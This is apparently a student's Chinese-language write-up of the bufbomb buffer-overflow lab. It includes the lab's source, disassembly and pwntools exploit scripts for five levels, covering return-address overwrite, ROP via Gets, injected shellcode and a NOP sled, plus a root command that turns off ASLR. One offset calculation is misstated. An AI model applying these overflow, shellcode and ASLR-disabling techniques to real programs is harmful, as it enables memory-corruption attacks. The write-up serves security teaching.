这个实验花了我一天左右的时间吧,还是对 pwn
不太熟悉,很多东西都要现查 (不听课的下场 qaq) 。下面整理一下解题思路和遇到的坑吧。
老师给的文件是
bufbomb
,这东西其实上网搜搜就能搜到。下面的源码什么的也是网上找的
准备
这次的实验嘛,主要就是劫持程序的运行流,让程序运行我们想要的代码,从而达到我们预期的目的。
来看看程序的输入函数 getbuf
:
#define NORMAL_BUFF_SIZE 24
int getbuf()
{
char buf[NORMAL_BUFF_SIZE];
Gets(buf);
return 1;
}
这里的 Gets 函数是没有任何保护措施的,也就是你给多少它就读多少。下面来看看一个栈的结构:
如果我们的输入超过了 buf
的大小,那么 Gets 函数还是会继续覆盖,这样的话就会把 saved ebp
给覆盖掉。再接着读的话 ,还可以将函数的 return address
给覆盖掉,这样就可以达成劫持程序流的目的啦。
来看看这个文件的帮助:
这东西老师绝对是魔改过的。简单的看了一下,感觉 -s 参数没什么卵用,审计了汇编代码后发现 -g 参数才会判断是否通过。至于 -s 参数加了之后会一直阻塞在那里,汇编看的晕晕乎乎的也没管了,反正能用就行了是吧 qwq 。
最后一题一定要加 -n 参数 !!!被坑了挺久的,脚本一直不对,然后发现复制的时候忘记该参数了
0x00: smoke
构造 payload 使缓冲区溢出,从而让目标程序执行 smoke 函数。
源码
#define NORMAL_BUFFER_SIZE 24
void test()
{
int val;
/* Put canary on stack to detect possiblecorruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corruption stack */
if (local != uniqueval())
{
printf("Sabotaged!: the stack has beencorrupted\n");
}
else if (val == cookie)
{
printf("Boom!: getbuf returned0x%x\n", val);
validate(3);
}
else
{
printf("Dud: getbuf returned0x%x\n", val);
}
}
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
void smoke()
{
puts("Smoke!: You calledsmoke()");
validate(0);
exit(0);
}
目标是调用 getbuf
函数后不正常返回,而是跳转到 smoke
函数的位置,所以直接覆盖返回地址就好啦。
查看反汇编代码得到 smoke 函数的地址为 0x08048eb0
。
08048eb0 <smoke>:
8048eb0: 55 push %ebp
8048eb1: 89 e5 mov %esp,%ebp
8048eb3: 83 ec 08 sub $0x8,%esp
8048eb6: c7 04 24 f7 95 04 08 movl $0x80495f7,(%esp)
8048ebd: e8 96 f8 ff ff call 8048758 <puts@plt>
8048ec2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048ec9: e8 22 fc ff ff call 8048af0 <validate>
8048ece: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048ed5: e8 0e f9 ff ff call 80487e8 <exit@plt>
8048eda: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
buf
只有 24 字节,所以只需要构造 0x28(buf) + 0x4(ebp) + 0x4(return address) = 0x30 字节的 payload 即可。
所以这里编写脚本攻击:
def smoke():
smoke_addr = 0x08048eb0
program = process(["./bufbomb", "-t", "Richard", "-g"])
payload = 'a' * 24 + 'b' * 4 + p32(smoke_addr)
program.sendline(payload)
print(program.recvall())
说明一下这里我是用了
pwntools
库来写脚本
0x01 fizz
构造 payload 使缓冲区溢出,从而让目标程序执行 fizz 函数,同时传入一个 cookie 作为参数。
源码
void fizz(int val)
{
if (val == cookie)
{
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
}
else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
和前一关类似的解法,只是多个参数。
查看 fizz 函数的反汇编代码:
08048e60 <fizz>:
8048e60: 55 push %ebp
8048e61: 89 e5 mov %esp,%ebp
8048e63: 83 ec 08 sub $0x8,%esp
8048e66: 8b 45 08 mov 0x8(%ebp),%eax
8048e69: 3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax
8048e6f: 74 1f je 8048e90 <fizz+0x30>
8048e71: 89 44 24 04 mov %eax,0x4(%esp)
8048e75: c7 04 24 8c 98 04 08 movl $0x804988c,(%esp)
8048e7c: e8 27 f9 ff ff call 80487a8 <printf@plt>
8048e81: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e88: e8 5b f9 ff ff call 80487e8 <exit@plt>
8048e8d: 8d 76 00 lea 0x0(%esi),%esi
8048e90: 89 44 24 04 mov %eax,0x4(%esp)
8048e94: c7 04 24 d9 95 04 08 movl $0x80495d9,(%esp)
8048e9b: e8 08 f9 ff ff call 80487a8 <printf@plt>
8048ea0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ea7: e8 44 fc ff ff call 8048af0 <validate>
8048eac: eb d3 jmp 8048e81 <fizz+0x21>
8048eae: 89 f6 mov %esi,%esi
注意这两句
mov 0x8(%ebp),%eax
cmp 0x804a1d4,%eax
使用 gdb 易知 0x804a1d4 中即为 cookie 值,所以我们应该将 [ ebp + 8 ] 的值修改为 cookie ,然后再执行 fizz 函数。所以在上一题的基础上多覆盖 0x4 个字节即可。
编写脚本如下:
def fizz():
fizz_addr = 0x08048e60
program = process(["./bufbomb", "-t", "Richard", "-g"])
program.recvuntil("Cookie:") # get cookie
cookie = int(program.recvline().strip(), 16)
payload = 'a' * 24 + 'b' * 4 + p32(fizz_addr) + 'c' * 4 + p32(cookie)
program.sendline(payload)
print(program.recvall())
0x02 bang
构造 payload 使缓冲区溢出,从而让目标程序执行 bang 函数,同时修改全局变量 global_value 为 cookie 值。
源码
#define NORMAL_BUFFER_SIZE 32
void test()
{
int val;
/* Put canary on stack to detect possiblecorruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corruption stack */
if (local != uniqueval())
{
printf("Sabotaged!: the stack has beencorrupted\n");
}
else if (val == cookie)
{
printf("Boom!: getbuf returned0x%x\n", val);
validate(3);
}
else
{
printf("Dud: getbuf returned0x%x\n", val);
}
}
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
int global_value = 0;
void bang(int val)
{
if (global_value == cookie)
{
printf("Bang!: You set global_value to 0x%x\n",
global_value);
validate(2);
}
else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
首先需要找到全局变量的地址。查看 bang 的反汇编代码:
08048e10 <bang>:
8048e10: 55 push %ebp
8048e11: 89 e5 mov %esp,%ebp
8048e13: 83 ec 08 sub $0x8,%esp
8048e16: a1 c4 a1 04 08 mov 0x804a1c4,%eax
8048e1b: 3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax
8048e21: 74 1d je 8048e40 <bang+0x30>
8048e23: 89 44 24 04 mov %eax,0x4(%esp)
8048e27: c7 04 24 bb 95 04 08 movl $0x80495bb,(%esp)
8048e2e: e8 75 f9 ff ff call 80487a8 <printf@plt>
8048e33: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e3a: e8 a9 f9 ff ff call 80487e8 <exit@plt>
8048e3f: 90 nop
8048e40: 89 44 24 04 mov %eax,0x4(%esp)
8048e44: c7 04 24 64 98 04 08 movl $0x8049864,(%esp)
8048e4b: e8 58 f9 ff ff call 80487a8 <printf@plt>
8048e50: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048e57: e8 94 fc ff ff call 8048af0 <validate>
8048e5c: eb d5 jmp 8048e33 <bang+0x23>
8048e5e: 89 f6 mov %esi,%esi
这里面有两个地址,0x804a1c4 和 0x804a1d4 。通过 gdb 调试可以知道 0x804a1c4 是 global_value 的地址。
由于全局变量存在于 bss 段或 data 段,所以我们无法直接修改。在这里函数的返回地址和参数都是可控的,很容易联想到构造 ROP 来覆盖 global_value 。这里我们可以利用的函数有 Gets 函数可以向内存中写入数据,所以大致思路如下:
利用 getbuf 函数溢出到 Gets 函数,对 global_value 进行覆盖,然后再跳转回 bang 函数继续执行。
编写脚本如下:
def bang():
bang_addr = 0x08048e10
Gets_addr = 0x080489c0
global_value_addr = 0x804a1c4
program = process(["./bufbomb", "-t", "Richard", "-g"])
program.recvuntil("Cookie:") # get cookie
cookie = int(program.recvline().strip(), 16)
payload = 'a' * 24 + 'b' * 4 + p32(Gets_addr) + p32(bang_addr) + p32(global_value_addr)
program.sendline(payload)
program.sendline(p32(cookie)) # set global_value by function Gets
print(program.recvall())
0x03 boom
前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行,在这个过程中我们都把原来的恢复现场需要用的返回地址和原 test 的 ebp 给破坏了。Boom 这一关中,我们将修复这些被我们破坏的栈状态信息,让最后还是回到test中。
除此之外,我们还需要构造 payload 使 getbuf 函数返回 cookie 值,而不是返回 0x01。修改返回值需要修改 eax 寄存器的值,这里可以利用 shellcode 来修改 eax 的值。
源码
void test()
{
int val;
/* Put canary on stack to detect possiblecorruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corruption stack */
if (local != uniqueval())
{
printf("Sabotaged!: the stack has beencorrupted\n");
}
else if (val == cookie)///getbuf函数返回值为cookie
{
printf("Boom!: getbuf returned0x%x\n", val);
validate(3);
}
else
{
printf("Dud: getbuf returned0x%x\n", val);
}
}
构造 shellcode 如下:
movl $cookie, %eax //将返回值修改为cookie
pushl $0x08048db2 //将call getbuf函数的下一条要执行的指令的地址压入返回地址
ret //用ret来执行返回地址
还原 ebp 有两种方法:
- 第一种是直接找出旧 ebp 的地址,然后在溢出的时候覆盖备份的 ebp ,这样 ebp 保持不变就可以正确还原了。
- 第二种方法是通过 esp 计算出 ebp 的地址。esp 和 ebp 的相对距离是不变的,所以可以据此还原 ebp 的值。只需要调试出相对距离,并且在 shellcode 内还原即可。
如果使用第一种方法不能有地址随机化。Linux 关闭地址随机化可以使用下面的语句:
echo 0 > /proc/sys/kernel/randomize_va_space
这里我使用了第一种方法,编写脚本如下:
def test():
ret_addr = 0x08048db2 # next code after getbuf
old_ebp = 0xffffb948
shellcode_addr = 0xffffb910
program = process(["./bufbomb", "-t", "Richard", "-g"])
program.recvuntil("Cookie:") # get cookie
cookie = int(program.recvline().strip(), 16)
shellcode = asm("mov eax, {0} \n \
push {1} \n \
ret".format(cookie, ret_addr))
payload = shellcode + '\x00' * (24 - len(shellcode)) + p32(old_ebp) + p32(shellcode_addr)
program.sendline(payload)
print(program.recvall())
0x04 nitro
这一关承接上一关,增加了难度。进入这一关需要添加 -n 参数,调用的是 getbufn 和 testn 函数,需要通过五次 test case 才可以通过。
源码
#define KABOOM_BUFFER_SIZE 512
void testn()
{
int val;
volatile int local = uniqueval();
val = getbufn();
/* Check for corrupted stack */
if (local != uniqueval())
{
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie)
{
printf("KABOOM!: getbufn returned 0x%x\n", val);
validate(4);
}
else
{
printf("Dud: getbufn returned 0x%x\n", val);
}
}
int getbufn()
{
char buf[KABOOM_BUFFER_SIZE];
Gets(buf);
return 1;
}
查看 getbufn 函数,发现 buf 扩大到 0x208 了。
查看 testn 函数,和上一关的 test 函数几乎一样。
这里最大的问题就是开了随机化,栈空间的地址可能会发生变化。那么按照上一题的思路,shellcode 的首地址和 ebp 的恢复就会出现问题。
ebp 的问题很好解决, ebp 和 esp 的相对位置是不变的,所以根据汇编代码很容易找出 ebp 和 esp 之间的相对距离是 0x18。
接下来是首地址的问题。既然首地址的精确位置没法确定,但是大致位置还是可以确定的。此时很容易想到使用 NOP sled 方法,来将程序流 "滑" 到 shellcode 的位置。
NOP 指令的十六进制码为 0x90 ,所以可以构造 payload 如下:
payload = '\x90' * (0x208 - len(shellcode)) + shellcode + "a" * 4 + p32(shellcode_addr)
shellcode 的地址可以通过调试确定,我本地大约在 0xffffb720 左右。
至此,通过一次 test 的思路已经明确了,只需要将以上流程重复 5 次即可。编写脚本如下:
def testn():
ret_addr = 0x08048d42 # next code after getbuf
shellcode_addr = 0xffffb720
program = process(["./bufbomb", "-t", "Richard", "-ng"])
program.recvuntil("Cookie:") # get cookie
cookie = int(program.recvline().strip(), 16)
shellcode = asm("mov eax, {0} \n \
lea ebp, [esp + 0x18] \n \
push {1} \n \
ret".format(cookie, ret_addr))
for i in range(5):
payload = '\x90' * (0x208 - len(shellcode)) + shellcode + "a" * 4 + p32(shellcode_addr)
program.sendline(payload)
print(program.recvall())
exp
# encoding: utf-8
from pwn import *
# debug mode
# context.log_level = 'DEBUG'
def smoke():
smoke_addr = 0x08048eb0
program = process(["./bufbomb", "-t", "Richard", "-g"])
payload = 'a' * 24 + 'b' * 4 + p32(smoke_addr)
program.sendline(payload)
print(program.recvall())
def fizz():
fizz_addr = 0x08048e60
program = process(["./bufbomb", "-t", "Richard", "-g"])
program.recvuntil("Cookie:") # get cookie
cookie = int(program.recvline().strip(), 16)
payload = 'a' * 24 + 'b' * 4 + p32(fizz_addr) + 'c' * 4 + p32(cookie)
program.sendline(payload)
print(program.recvall())
def bang():
bang_addr = 0x08048e10
Gets_addr = 0x080489c0
global_value_addr = 0x804a1c4
program = process(["./bufbomb", "-t", "Richard", "-g"])
program.recvuntil("Cookie:") # get cookie
cookie = int(program.recvline().strip(), 16)
payload = 'a' * 24 + 'b' * 4 + p32(Gets_addr) + p32(bang_addr) + p32(global_value_addr)
program.sendline(payload)
program.sendline(p32(cookie)) # set global_value by function Gets
print(program.recvall())
def test():
ret_addr = 0x08048db2 # next code after getbuf
old_ebp = 0xffffb948
shellcode_addr = 0xffffb910
program = process(["./bufbomb", "-t", "Richard", "-g"])
program.recvuntil("Cookie:") # get cookie
cookie = int(program.recvline().strip(), 16)
shellcode = asm("mov eax, {0} \n \
push {1} \n \
ret".format(cookie, ret_addr))
payload = shellcode + '\x00' * (24 - len(shellcode)) + p32(old_ebp) + p32(shellcode_addr)
program.sendline(payload)
print(program.recvall())
def testn():
ret_addr = 0x08048d42 # next code after getbuf
shellcode_addr = 0xffffb720
program = process(["./bufbomb", "-t", "Richard", "-ng"])
program.recvuntil("Cookie:") # get cookie
cookie = int(program.recvline().strip(), 16)
shellcode = asm("mov eax, {0} \n \
lea ebp, [esp + 0x18] \n \
push {1} \n \
ret".format(cookie, ret_addr))
for i in range(5):
payload = '\x90' * (0x208 - len(shellcode)) + shellcode + "a" * 4 + p32(shellcode_addr)
program.sendline(payload)
print(program.recvall())
if __name__ == '__main__':
print("First level: smoke")
smoke()
print("Second level: fizz")
fizz()
print("Third level: bang")
bang()
print("Fourth level: test")
test()
print("Fifth level: testn")
testn()
Reference
https://blog.csdn.net/counsellor/article/details/81543197
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/